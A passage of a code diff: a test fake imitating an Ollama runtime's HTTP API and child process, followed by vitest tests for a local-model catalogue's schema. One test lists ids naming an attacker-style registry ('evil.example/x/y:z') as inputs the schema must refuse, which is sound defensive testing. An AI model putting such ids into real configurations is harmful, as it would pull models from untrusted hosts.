* text inside the quotes, such as '37.4 GiB'). The shapes are the Mac mini's.
*/
export function fakeRuntimeLog(total = '37.4 GiB', port = 11435): string[] {
return [
`time=2026-11-06T15:04:12.210+01:00 level=INFO source=routes.go:2536 msg="Listening on 127.0.0.1:${port} (version 0.40.15)"`,
'time=2026-11-06T15:04:12.211+01:00 level=INFO source=runner.go:60 msg="discovering available GPUs..."',
`time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="${total}" available="${total}"`,
`time=2026-11-06T15:04:12.371+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="${total}" default_num_ctx=32768`,
];
}
/** The error line of a pull whose download kept failing. Verbatim from the Mac mini. */
export const REAL_PULL_ERROR_LINE = '{"error":"max retries exceeded: local error: tls: bad record MAC"}';
// ---------- Options and switches ----------
/** The model the fake serves. Default: what the MacBook really got for `qwen3.6:35b-a3b`. */
export interface FakeOllamaModel {
id: string;
/** The pull's total and the size `/api/tags` reports. */
bytes: number;
/** As `/api/tags` reports it: lowercase hex, no prefix. */
digest: string;
format: string;
runner: string;
quantization: string;
capabilities: string[];
}
export const DEFAULT_FAKE_MODEL: FakeOllamaModel = {
id: 'qwen3.6:35b-a3b',
bytes: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
format: 'safetensors',
runner: 'mlx',
quantization: 'nvfp4',
capabilities: ['completion', 'vision', 'tools', 'thinking'],
};
export interface FakePullSwitches {
/**
* `mlx`: every progress line is `{"status":"pulling model","digest":"sha256:model",...}`,
* what a Mac gets for an MLX build. `gguf`: one layer after the other, each
* `{"status":"pulling <12 hex>","digest":"sha256:<64 hex>",...}`, the first lines of a layer
* without `completed`, then `verifying sha256 digest`.
*/
shape: 'mlx' | 'gguf';
/** How many progress lines the large layer of one full pull is spread over. Default 20. */
progressLines: number;
/** Milliseconds between two lines. Default 0. Raise it to abort or cancel mid-stream. */
lineDelayMs: number;
/**
* How a pull goes wrong.
* - `none`: it succeeds.
* - `error-line`: after `failAfterLines` progress lines, the real error line, then the body ends.
* - `cut`: after `failAfterLines` progress lines the socket is destroyed (no `success`, no error).
* - `not-found`: `pulling manifest`, then an error line saying the manifest does not exist.
*/
fail: 'none' | 'error-line' | 'cut' | 'not-found';
/** Progress lines sent before the failure. Default 10. */
failAfterLines: number;
/** How many pulls fail before one succeeds. Default `Infinity`: every pull fails. */
failTimes: number;
/** Bytes the first pull starts at, as if an earlier run had left partial blobs. Default 0. */
resumeFrom: number;
}
export interface FakePsSwitches {
/** `size`. Default: the model's bytes plus 100 MB. */
size?: number;
/** `size_vram`. Default: equal to `size` (all on the GPU). Set it lower for "does not fit". */
sizeVram?: number;
/** `context_length`. Default: `FakeOllamaOptions.contextLength`. */
contextLength?: number;
/** False: `/api/ps` stays empty even after a chat. */
loaded?: boolean;
}
export interface FakeArchiveSwitches {
/** Destroy the socket after this many bytes of the body were sent. */
cutAfterBytes?: number;
/** For how many requests the cut applies. Default 1. */
cutTimes: number;
/** True: answer 200 with the whole body even to a `Range` request. */
ignoreRange: boolean;
/** Answer this status with an empty body instead (404, 503). */
status?: number;
}
export interface FakeSpawnSwitches {
/** True: the child starts and writes its log but never listens (the supervisor's `runtime-start-failed`). */
neverListens: boolean;
/** A number: the child exits with this code right after it was started. */
exitsAtOnce?: number;
/** The device total the child logs (the text inside the quotes). Default '37.4 GiB'. */
total: string;
/** False: the "inference compute" line is left out of the log. */
logsBudget: boolean;
}
export interface FakeOllamaSwitches {
pull: FakePullSwitches;
ps: FakePsSwitches;
/** `error`: `POST /v1/chat/completions` WITHOUT tools answers 500. */
chat: 'ok' | 'error';
/**
* What `POST /v1/chat/completions` WITH tools answers.
* - `call`: one tool call with JSON arguments, `finish_reason: "tool_calls"`.
* - `none`: a text answer, `finish_reason: "stop"`.
* - `length`: an empty answer with a `reasoning` text, `finish_reason: "length"`.
* - `bad-arguments`: a tool call whose `arguments` do not parse.
*/
tool: 'call' | 'none' | 'length' | 'bad-arguments';
archive: FakeArchiveSwitches;
spawn: FakeSpawnSwitches;
}
export interface FakeOllamaOptions {
/** What `/api/version` answers. Default '0.40.15'. */
version?: string;
model?: Partial<FakeOllamaModel>;
/** True: the model is installed from the start. Default false: it appears after a pull that succeeded. */
installed?: boolean;
/** The context length the runtime "was started with": what `/api/ps` reports. Default 131072. */
contextLength?: number;
pull?: Partial<FakePullSwitches>;
ps?: FakePsSwitches;
chat?: FakeOllamaSwitches['chat'];
tool?: FakeOllamaSwitches['tool'];
archive?: Partial<FakeArchiveSwitches>;
spawn?: Partial<FakeSpawnSwitches>;
/** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */
archiveFiles?: Record<string, string>;
}
export interface CapturedRequest {
method: string;
path: string;
headers: Record<string, string | string[] | undefined>;
/** The parsed JSON body, the raw text when it is not JSON, `undefined` when there is none. */
body: unknown;
}
/** The fake child process: enough of `ChildProcess` for a supervisor. */
export class FakeRuntimeChild extends EventEmitter {
readonly stdout = new PassThrough();
readonly stderr = new PassThrough();
readonly stdin = null;
exitCode: number | null = null;
signalCode: NodeJS.Signals | null = null;
killed = false;
/** Every signal `kill()` was called with. */
readonly signals: (NodeJS.Signals | number)[] = [];
constructor(
/** Above every real pid (Linux allows at most 4194304), so a stray `process.kill(pid)` hits nothing. */
readonly pid: number,
readonly command: string,
readonly args: readonly string[],
/** The environment the child was started with: what `runtimeEnv()` built. */
readonly env: NodeJS.ProcessEnv,
private readonly onGone: () => Promise<void>
) {
super();
}
/** As `ChildProcess.kill()`: the listener closes and `exit` then `close` are emitted. */
kill(signal: NodeJS.Signals | number = 'SIGTERM'): boolean {
this.signals.push(signal);
if (this.exitCode !== null || this.signalCode !== null) return false;
this.killed = true;
void this.finish(null, typeof signal === 'string' ? signal : 'SIGTERM');
return true;
}
/** The child dies by itself with `code`, as a crash would. */
crash(code = 1): void {
if (this.exitCode !== null || this.signalCode !== null) return;
void this.finish(code, null);
}
private async finish(code: number | null, signal: NodeJS.Signals | null): Promise<void> {
this.exitCode = code;
this.signalCode = signal;
await this.onGone();
this.stdout.end();
this.stderr.end();
this.emit('exit', code, signal);
this.emit('close', code, signal);
}
}
export interface FakeOllama {
/** `http://127.0.0.1:<port>`. Empty while the fake does not listen. */
readonly baseUrl: string;
/** 0 while the fake does not listen. */
readonly port: number;
readonly listening: boolean;
/** Every request so far, oldest first. */
readonly requests: CapturedRequest[];
/** Change these between requests. */
readonly switches: FakeOllamaSwitches;
readonly model: FakeOllamaModel;
/** What the fake remembers. */
readonly state: {
/** The model is in `/api/tags` and `/v1/models`. */
installed: boolean;
/** A chat loaded the model: it is in `/api/ps`. */
loaded: boolean;
/** How far the pulls got: what the next pull's first progress line starts at. */
completedBytes: number;
/** How many `POST /api/pull` arrived. */
pulls: number;
/** How many `GET` of the archive arrived. */
archiveRequests: number;
/** Every child `spawn` made, oldest first. */
children: FakeRuntimeChild[];
};
/** The fake runtime archive: a real gzipped tar. */
readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string };
/** A pin that points at this fake's archive (valid while it listens). */
pin(): LocalModelRuntimePin;
/** Starts listening on 127.0.0.1. Default port 0: the system picks one. */
listen(port?: number): Promise<void>;
/** Stops listening and drops every open connection. Safe to call twice. */
close(): Promise<void>;
/**
* A stand-in for `child_process.spawn` that "starts the runtime": the fake listens on the
* port of `options.env.OLLAMA_HOST` and the child logs the start-up lines. See the file header.
*/
spawn(command: string, args: readonly string[], options: SpawnOptions): ChildProcess;
}
// ---------- Helpers ----------
/** A loopback port nothing listens on right now: bound on 0, read, closed again. */
export async function freeLoopbackPort(): Promise<number> {
return new Promise((resolve, reject) => {
const probe = createNetServer();
probe.once('error', reject);
probe.listen(0, '127.0.0.1', () => {
const { port } = probe.address() as AddressInfo;
probe.close(() => resolve(port));
});
});
}
/** One file as a tar entry: a 512-byte ustar header, the content, zero padding to 512. */
function tarEntry(name: string, content: Buffer, mode: number): Buffer {
const header = Buffer.alloc(512);
header.write(name, 0, 100, 'utf8');
header.write(mode.toString(8).padStart(7, '0') + '\0', 100, 8, 'ascii');
header.write('0000000\0', 108, 8, 'ascii');
header.write('0000000\0', 116, 8, 'ascii');
header.write(content.length.toString(8).padStart(11, '0') + '\0', 124, 12, 'ascii');
header.write('00000000000\0', 136, 12, 'ascii');
header.write(' ', 148, 8, 'ascii');
header.write('0', 156, 1, 'ascii');
header.write('ustar\0', 257, 6, 'ascii');
header.write('00', 263, 2, 'ascii');
let sum = 0;
for (const byte of header) sum += byte;
header.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii');
const padding = Buffer.alloc((512 - (content.length % 512)) % 512);
return Buffer.concat([header, content, padding]);
}
/** A gzipped tar of `files`, which `/usr/bin/tar -xzf` unpacks. A file named `ollama` is executable. */
export function buildFakeArchive(files: Record<string, string>): Buffer {
const entries = Object.entries(files).map(([name, text]) =>
tarEntry(name, Buffer.from(text, 'utf8'), name === 'ollama' ? 0o755 : 0o644)
);
return gzipSync(Buffer.concat([...entries, Buffer.alloc(1024)]));
}
function readBody(req: IncomingMessage): Promise<unknown> {
return new Promise((resolve) => {
const chunks: Buffer[] = [];
req.on('data', (chunk: Buffer) => chunks.push(chunk));
req.on('end', () => {
const raw = Buffer.concat(chunks).toString('utf8');
if (!raw) return resolve(undefined);
try {
resolve(JSON.parse(raw));
} catch {
resolve(raw);
}
});
req.on('error', () => resolve(undefined));
});
}
function sendJson(res: ServerResponse, status: number, body: unknown): void {
res.writeHead(status, { 'content-type': 'application/json; charset=utf-8' });
res.end(JSON.stringify(body));
}
const sleep = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms));
/** A value for one tool parameter, by its JSON schema type. */
function placeholderFor(schema: unknown): unknown {
const type = (schema as { type?: unknown } | undefined)?.type;
if (type === 'number' || type === 'integer') return 1;
if (type === 'boolean') return true;
if (type === 'array') return [];
if (type === 'object') return {};
return 'README.md';
}
/** The small layers a GGUF pull ends with: the sizes of the real `qwen2.5:0.5b` pull. */
const GGUF_SMALL_LAYERS = [68, 1482, 11343, 490];
// ---------- The fake ----------
/** A fake that does not listen yet. For a supervisor test, which injects `fake.spawn`. */
export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama {
const version = options.version ?? '0.40.15';
const model: FakeOllamaModel = { ...DEFAULT_FAKE_MODEL, ...options.model };
const contextLength = options.contextLength ?? 131072;
const switches: FakeOllamaSwitches = {
pull: {
shape: 'mlx',
progressLines: 20,
lineDelayMs: 0,
fail: 'none',
failAfterLines: 10,
failTimes: Infinity,
resumeFrom: 0,
...options.pull,
},
ps: { ...options.ps },
chat: options.chat ?? 'ok',
tool: options.tool ?? 'call',
archive: { cutTimes: 1, ignoreRange: false, ...options.archive },
spawn: { neverListens: false, total: '37.4 GiB', logsBudget: true, ...options.spawn },
};
const archiveBody = buildFakeArchive(options.archiveFiles ?? { ollama: '#!/bin/sh\necho "fake runtime"\n' });
const archive = {
body: archiveBody,
size: archiveBody.length,
sha256: createHash('sha256').update(archiveBody).digest('hex'),
};
const state: FakeOllama['state'] = {
installed: options.installed ?? false,
loaded: false,
completedBytes: 0,
pulls: 0,
archiveRequests: 0,
children: [],
};
const requests: CapturedRequest[] = [];
const sockets = new Set<Socket>();
let server: Server | undefined;
let port = 0;
let failedPulls = 0;
let archiveCuts = 0;
let nextPid = 9_000_001;
let chatCounter = 100;
const modelDetails = (): Record<string, unknown> => ({
parent_model: '',
format: model.format,
family: 'qwen35',
families: ['qwen35'],
parameter_size: '35.9B',
quantization_level: model.quantization,
});
async function handlePull(res: ServerResponse, body: unknown): Promise<void> {
state.pulls += 1;
const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
const { pull } = switches;
res.writeHead(200, { 'content-type': 'application/x-ndjson' });
let gone = false;
res.on('close', () => {
gone = true;
});
// Each line is handed to the system before the next step, so a cut that follows really
// arrives AFTER the lines before it, as on a real connection.
const line = async (value: unknown): Promise<boolean> => {
if (gone) return false;
await new Promise<void>((resolve) => res.write(JSON.stringify(value) + '\n', () => resolve()));
if (pull.lineDelayMs > 0) await sleep(pull.lineDelayMs);
return !gone;
};
if (!(await line({ status: 'pulling manifest' }))) return;
// Not captured on a Mac: the wording of the runtime for a tag the registry does not have.
if (pull.fail === 'not-found' || askedId !== model.id) {
await line({ error: 'pull model manifest: file does not exist' });
res.end();
return;
}
const failing = pull.fail !== 'none' && failedPulls < pull.failTimes;
const smallTotal = GGUF_SMALL_LAYERS.reduce((sum, size) => sum + size, 0);
const largeTotal = pull.shape === 'gguf' ? model.bytes - smallTotal : model.bytes;
const largeDigest = pull.shape === 'gguf' ? `sha256:${model.digest}` : 'sha256:model';
const largeStatus = pull.shape === 'gguf' ? `pulling ${model.digest.slice(0, 12)}` : 'pulling model';
const start = Math.min(Math.max(state.completedBytes, pull.resumeFrom), largeTotal);
const lines = Math.max(1, pull.progressLines);
// A GGUF layer announces itself without `completed` first.
if (pull.shape === 'gguf' && start === 0) {
if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal }))) return;
}
for (let i = 0; i <= lines; i++) {
if (failing && i === pull.failAfterLines) {
failedPulls += 1;
if (pull.fail === 'error-line') {
res.write(REAL_PULL_ERROR_LINE + '\n');
res.end();
} else {
res.socket?.destroy();
}
return;
}
const completed = i === lines ? largeTotal : start + Math.floor(((largeTotal - start) * i) / lines);
if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal, completed }))) return;
state.completedBytes = completed;
}
if (pull.shape === 'gguf') {
for (const [index, size] of GGUF_SMALL_LAYERS.entries()) {
const hex = createHash('sha256').update(`${model.id}:${index}`).digest('hex');
const layer = { status: `pulling ${hex.slice(0, 12)}`, digest: `sha256:${hex}`, total: size };
if (!(await line(layer))) return;
if (!(await line({ ...layer, completed: size }))) return;
}
if (!(await line({ status: 'verifying sha256 digest' }))) return;
}
if (!(await line({ status: 'writing manifest' }))) return;
state.installed = true;
state.completedBytes = model.bytes;
await line({ status: 'success' });
res.end();
}
function handleChat(res: ServerResponse, body: unknown): void {
const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {};
if (!state.installed || request.model !== model.id) {
sendJson(res, 404, {
error: {
message: `model '${String(request.model)}' not found`,
type: 'not_found_error',
param: null,
code: null,
},
});
return;
}
const tools = Array.isArray(request.tools) ? request.tools : [];
const envelope = (message: Record<string, unknown>, finishReason: string): Record<string, unknown> => ({
id: `chatcmpl-${chatCounter++}`,
object: 'chat.completion',
created: 1793968038,
model: model.id,
system_fingerprint: 'fp_ollama',
choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
usage: {
prompt_tokens: 36,
prompt_tokens_details: { cached_tokens: 0 },
completion_tokens: 2,
total_tokens: 38,
},
});
if (tools.length === 0) {
if (switches.chat === 'error') {
// Not captured: the runtime's 500 for a model that fails to load.
sendJson(res, 500, {
error: { message: 'llm server error: out of memory', type: 'api_error', param: null, code: null },
});
return;
}
if (switches.ps.loaded !== false) state.loaded = true;
sendJson(res, 200, envelope({ content: 'pong' }, 'stop'));
return;
}
if (switches.ps.loaded !== false) state.loaded = true;
const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {};
const name = typeof fn.name === 'string' ? fn.name : 'tool';
const properties = (fn.parameters?.properties ?? {}) as Record<string, unknown>;
const args = Object.fromEntries(Object.entries(properties).map(([key, schema]) => [key, placeholderFor(schema)]));
const toolCall = (argumentsText: string): Record<string, unknown> => ({
content: '',
tool_calls: [{ id: 'call_ag8rmzix', index: 0, type: 'function', function: { name, arguments: argumentsText } }],
});
switch (switches.tool) {
case 'call':
sendJson(res, 200, envelope(toolCall(JSON.stringify(args)), 'tool_calls'));
return;
case 'bad-arguments':
sendJson(res, 200, envelope(toolCall('{"path": '), 'tool_calls'));
return;
case 'length':
sendJson(
res,
200,
envelope({ content: '', reasoning: 'The user wants me to read a file. I should call the tool' }, 'length')
);
return;
case 'none':
sendJson(res, 200, envelope({ content: 'I would read the file, but I cannot.' }, 'stop'));
return;
}
}
function handleArchive(req: IncomingMessage, res: ServerResponse): void {
state.archiveRequests += 1;
const { archive: sw } = switches;
if (sw.status !== undefined) {
res.writeHead(sw.status);
res.end();
return;
}
let from = 0;
const range = /^bytes=(\d+)-$/.exec(String(req.headers.range ?? ''));
if (range && !sw.ignoreRange) {
from = Number(range[1]);
if (from >= archive.size) {
res.writeHead(416, { 'content-range': `bytes */${archive.size}` });
res.end();
return;
}
}
const body = archive.body.subarray(from);
const headers: Record<string, string> = {
'content-type': 'application/octet-stream',
'content-length': String(body.length),
'accept-ranges': 'bytes',
};
if (from > 0) headers['content-range'] = `bytes ${from}-${archive.size - 1}/${archive.size}`;
res.writeHead(from > 0 ? 206 : 200, headers);
if (req.method === 'HEAD') {
res.end();
return;
}
if (sw.cutAfterBytes !== undefined && archiveCuts < sw.cutTimes && sw.cutAfterBytes < body.length) {
archiveCuts += 1;
res.write(body.subarray(0, sw.cutAfterBytes), () => res.socket?.destroy());
return;
}
res.end(body);
}
async function handle(req: IncomingMessage, res: ServerResponse): Promise<void> {
const body = await readBody(req);
const path = (req.url ?? '').split('?')[0];
const method = req.method ?? 'GET';
requests.push({ method, path, headers: req.headers, body });
if (path === '/' && method === 'GET') {
res.writeHead(200, { 'content-type': 'text/plain; charset=utf-8' });
res.end('Ollama is running');
return;
}
if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version });
if (path === '/api/tags' && method === 'GET') {
const models = state.installed
? [
{
name: model.id,
model: model.id,
modified_at: '2026-11-06T15:10:02.465346347+01:00',
size: model.bytes,
digest: model.digest,
details: { ...modelDetails(), context_length: 262144, runner: model.runner },
capabilities: model.capabilities,
},
]
: [];
return sendJson(res, 200, { models });
}
if (path === '/api/ps' && method === 'GET') {
const size = switches.ps.size ?? model.bytes + 100_000_000;
const models =
state.installed && state.loaded && switches.ps.loaded !== false
? [
{
name: model.id,
model: model.id,
size,
digest: model.digest,
details: modelDetails(),
expires_at: '2026-11-06T15:20:09.488045+01:00',
size_vram: switches.ps.sizeVram ?? size,
context_length: switches.ps.contextLength ?? contextLength,
runner: model.runner,
},
]
: [];
return sendJson(res, 200, { models });
}
if (path === '/api/pull' && method === 'POST') return handlePull(res, body);
if (path === '/api/delete' && method === 'DELETE') {
// Not captured: the answers of a delete (200 with no body, 404 with an error text).
const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {};
const askedId = typeof asked.model === 'string' ? asked.model : asked.name;
if (!state.installed || askedId !== model.id) {
return sendJson(res, 404, { error: `model '${String(askedId)}' not found` });
}
state.installed = false;
state.loaded = false;
state.completedBytes = 0;
res.writeHead(200);
res.end();
return;
}
if (path === '/v1/models' && method === 'GET') {
const data = state.installed
? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }]
: null;
return sendJson(res, 200, { object: 'list', data });
}
if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body);
if (path === '/download/ollama-darwin.tgz' && (method === 'GET' || method === 'HEAD')) {
return handleArchive(req, res);
}
res.writeHead(404, { 'content-type': 'text/plain; charset=utf-8' });
res.end('404 page not found');
}
async function listen(onPort = 0): Promise<void> {
if (server) throw new Error('The fake runtime already listens');
const created = createServer((req, res) => {
handle(req, res).catch(() => {
if (!res.headersSent) res.writeHead(500);
res.end();
});
});
created.on('connection', (socket) => {
sockets.add(socket);
socket.on('close', () => sockets.delete(socket));
});
await new Promise<void>((resolve, reject) => {
created.once('error', reject);
created.listen(onPort, '127.0.0.1', () => resolve());
});
server = created;
port = (created.address() as AddressInfo).port;
}
async function close(): Promise<void> {
const closing = server;
if (!closing) return;
server = undefined;
port = 0;
for (const socket of sockets) socket.destroy();
await new Promise<void>((resolve) => closing.close(() => resolve()));
}
function spawn(command: string, args: readonly string[], spawnOptions: SpawnOptions): ChildProcess {
const env = (spawnOptions.env ?? {}) as NodeJS.ProcessEnv;
const child = new FakeRuntimeChild(nextPid++, command, args, env, close);
state.children.push(child);
const wanted = Number(/:(\d+)$/.exec(env.OLLAMA_HOST ?? '')?.[1] ?? 0);
const sw = switches.spawn;
void (async () => {
// A real child reports nothing before the next turn of the event loop either.
await sleep(0);
if (sw.exitsAtOnce !== undefined) {
child.stderr.write('Error: listen tcp 127.0.0.1: bind: address already in use\n');
child.crash(sw.exitsAtOnce);
return;
}
if (!sw.neverListens) {
try {
await listen(wanted);
} catch {
child.stderr.write(`Error: listen tcp 127.0.0.1:${wanted}: bind: address already in use\n`);
child.crash(1);
return;
}
}
for (const text of fakeRuntimeLog(sw.total, wanted)) {
if (!sw.logsBudget && text.includes('msg="inference compute"')) continue;
child.stderr.write(text + '\n');
}
})();
return child as unknown as ChildProcess;
}
return {
get baseUrl() {
return server ? `http://127.0.0.1:${port}` : '';
},
get port() {
return port;
},
get listening() {
return server !== undefined;
},
requests,
switches,
model,
state,
archive,
pin: () => ({
id: 'ollama',
version,
url: `http://127.0.0.1:${port}/download/ollama-darwin.tgz`,
bytes: archive.size,
sha256: archive.sha256,
unpackedBytes: 4096,
minMacosMajor: 14,
}),
listen,
close,
spawn,
};
}
/** A fake that listens on a port the system picked. Close it in `afterEach`. */
export async function startFakeOllama(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
const fake = createFakeOllama(options);
await fake.listen(0);
return fake;
}
@@ -38,6 +38,9 @@ const SCANNED_FILES = [
'panels-ui.js',
// A row's mode comes from the same catalog, never from a list of ids here.
'foreign-sessions.js',
// The harness a local model is paired with arrives as a label in the payload
// (`Candidate.cliLabel`); the card names no CLI and compares no id.
'local-model-ui.js',
];
/**
+417
View File
@@ -0,0 +1,417 @@
/**
* @fileoverview Tests for src/config/local-model-catalog.ts: the compiled catalogue of models,
* harnesses and chips, its schema, and the chip lookup.
*
* Four things are pinned:
*
* 1. The stock constant PARSES. `getLocalModelCatalog()` validates it on first use and throws on
* a bad row, so this test is what keeps a bad row from ever reaching the route.
* 2. The schema refuses what must never get in: a model id that could name another registry
* (a slash, a host), an unknown key (a `runtime` block with a download URL), and rows that
* break a rule across rows (a repeated id, contexts in the wrong order, a chip row that
* hides a more specific one).
* 3. The chip lookup never guesses: a chip that no row names has no bandwidth, including one
* whose name merely contains a known name ('Apple M10', 'Apple M6 Pro').
* 4. Which figures were MEASURED on a Mac and which are carried over from the measured row:
* one row says `measured` (its size is what a Mac really downloads, and it alone has a
* tested entry), every other row says `estimated`.
*
* Port: N/A (pure data and functions).
*/
import { describe, expect, it } from 'vitest';
import {
chipBandwidthGbps,
chipNameMatches,
getLocalModelCatalog,
LOCAL_MODEL_ID_PATTERN,
LocalModelCatalogSchema,
STOCK_LOCAL_MODEL_CATALOG,
} from '../src/config/local-model-catalog.js';
import type { LocalModelCatalog, LocalModelEntry } from '../src/types.js';
/** A deep copy of the stock catalogue that a test may break. */
function copy(): LocalModelCatalog {
return structuredClone(STOCK_LOCAL_MODEL_CATALOG);
}
/** The message of every issue the schema raises for `catalog`, or an empty list when it parses. */
function issuesOf(catalog: unknown): string[] {
const result = LocalModelCatalogSchema.safeParse(catalog);
return result.success ? [] : result.error.issues.map((issue) => `${issue.path.join('.')}: ${issue.message}`);
}
/** The stock catalogue with its first model changed. */
/** `url` and `kvBytesPerToken` are no fields of a model row: tests pass them to prove the schema refuses an unknown key. */
function withFirstModel(change: Partial<Record<keyof LocalModelEntry | 'url' | 'kvBytesPerToken', unknown>>): unknown {
const catalog = copy();
return { ...catalog, models: [{ ...catalog.models[0], ...change }, ...catalog.models.slice(1)] };
}
describe('the stock catalogue', () => {
it('passes its own schema', () => {
expect(issuesOf(STOCK_LOCAL_MODEL_CATALOG)).toEqual([]);
});
it('is what the getter returns, validated once', () => {
const first = getLocalModelCatalog();
expect(first).toEqual(STOCK_LOCAL_MODEL_CATALOG);
// Parsed on first use, then reused: the same object, not a new parse per request.
expect(getLocalModelCatalog()).toBe(first);
});
it('lists the seven models of the design, without flint:40b', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => m.id)).toEqual([
'qwen3.5:9b',
'qwen3.5:9b-q8_0',
'gpt-oss:20b',
'qwen3.6:35b-a3b',
'qwen3.8:27b',
'qwen3.8:27b-q8_0',
'qwen3.5:122b-a10b',
]);
expect(STOCK_LOCAL_MODEL_CATALOG.models.some((m) => m.id.startsWith('flint'))).toBe(false);
});
it('carries the size a Mac really downloads where that was measured, else the registry manifest', () => {
expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.bytes]))).toEqual({
// The sum of the layer sizes of each tag's manifest, as fetched on 2026-11-06.
'qwen3.5:9b': 6_550_825_373,
'qwen3.5:9b-q8_0': 10_449_217_949,
'gpt-oss:20b': 13_793_441_427,
// The total of the real pull on a Mac (an MLX build). Its manifest sums to 22,621,314,161.
'qwen3.6:35b-a3b': 23_105_798_956,
'qwen3.8:27b': 17_741_871_939,
'qwen3.8:27b-q8_0': 29_978_241_837,
'qwen3.5:122b-a10b': 81_370_035_877,
});
});
it('says which row was measured on a Mac: one, and every other row is an estimate', () => {
expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.figures]))).toEqual({
'qwen3.5:9b': 'estimated',
'qwen3.5:9b-q8_0': 'estimated',
'gpt-oss:20b': 'estimated',
'qwen3.6:35b-a3b': 'measured',
'qwen3.8:27b': 'estimated',
'qwen3.8:27b-q8_0': 'estimated',
'qwen3.5:122b-a10b': 'estimated',
});
});
it('gives every row the memory figures measured on the one row: 37 KB per token, 3 GB, 5 GB', () => {
for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
expect(
[model.heldBytesPerToken, model.overheadBytes, model.peakExtraBytes],
`${model.id}: an unmeasured row carries the measured row's figures, not invented ones`
).toEqual([37_000, 3_000_000_000, 5_000_000_000]);
}
// No row keeps the figure that was computed from the model's config.
expect(JSON.stringify(STOCK_LOCAL_MODEL_CATALOG)).not.toContain('kvBytesPerToken');
});
it('has one tested entry: the 35B-A3B with OpenCode on the MacBook Pro, with its measured speed', () => {
expect(
Object.fromEntries(
STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.tested.length > 0).map((m) => [m.id, m.tested])
)
).toEqual({
'qwen3.6:35b-a3b': [
{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 },
],
});
// A row may claim a test only when its figures were measured.
for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
if (model.tested.length > 0) expect(model.figures, model.id).toBe('measured');
}
});
it('gives every model a parameter count, an id of the default registry and a license', () => {
for (const model of STOCK_LOCAL_MODEL_CATALOG.models) {
expect(model.paramsB, model.id).toBeGreaterThan(0);
expect(model.id).toMatch(LOCAL_MODEL_ID_PATTERN);
expect(model.license).toBe('Apache-2.0');
}
// The two 9B rows are the ones under the 12 billion line of the `limited` verdict.
expect(STOCK_LOCAL_MODEL_CATALOG.models.filter((m) => m.paramsB < 12).map((m) => m.id)).toEqual([
'qwen3.5:9b',
'qwen3.5:9b-q8_0',
]);
});
it('has a speed figure only where one was measured or scaled from a measurement', () => {
expect(Object.fromEntries(STOCK_LOCAL_MODEL_CATALOG.models.map((m) => [m.id, m.speedPer100Gbps ?? null]))).toEqual({
'qwen3.5:9b': 9.3,
'qwen3.5:9b-q8_0': 5.8,
'gpt-oss:20b': null,
'qwen3.6:35b-a3b': 13.6,
'qwen3.8:27b': 2.95,
'qwen3.8:27b-q8_0': 1.7,
'qwen3.5:122b-a10b': null,
});
});
it('lists its harnesses as data rows, one of them gated', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
{ cli: 'opencode', minContext: 65536, rank: 3 },
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
]);
});
it('names the oldest macOS and its schema version', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.minMacosMajor).toBe(14);
expect(STOCK_LOCAL_MODEL_CATALOG.schema).toBe(1);
});
it('holds no download data: no URL, no digest, no runtime block', () => {
const text = JSON.stringify(STOCK_LOCAL_MODEL_CATALOG);
expect(text).not.toMatch(/https?:/);
expect(text).not.toMatch(/sha256/i);
expect(Object.keys(STOCK_LOCAL_MODEL_CATALOG).sort()).toEqual(
['chips', 'harnesses', 'minMacosMajor', 'models', 'schema', 'updated'].sort()
);
});
});
describe('the model id rule', () => {
it('accepts name:tag in lowercase', () => {
for (const id of ['qwen3.5:9b', 'gpt-oss:20b', 'qwen3.8:27b-q8_0', 'a:b', 'x_y.z-1:2.3_4']) {
expect(LOCAL_MODEL_ID_PATTERN.test(id), id).toBe(true);
}
});
it('refuses anything that could name another registry, namespace or no tag at all', () => {
const bad = [
'evil.example/x/y:z',
'library/qwen3.5:9b',
'registry.ollama.ai/library/qwen3.5:9b',
'Qwen3.5:9b',
'qwen3.5:9B',
'qwen3.5',
'qwen3.5:',
':9b',
'qwen3.5:9b:extra',
'qwen 3.5:9b',
'-qwen:9b',
'qwen:-9b',
'qwen3.5:9b\n',
'',
];
for (const id of bad) expect(LOCAL_MODEL_ID_PATTERN.test(id), JSON.stringify(id)).toBe(false);
});
it('makes the schema reject a catalogue with such an id', () => {
for (const id of ['evil.example/x/y:z', 'Qwen3.5:9b', 'qwen3.5', 'qwen3.5:9b ']) {
const issues = issuesOf(withFirstModel({ id }));
expect(issues, id).toHaveLength(1);
expect(issues[0]).toContain('models.0.id');
}
});
});
describe('the schema, field by field', () => {
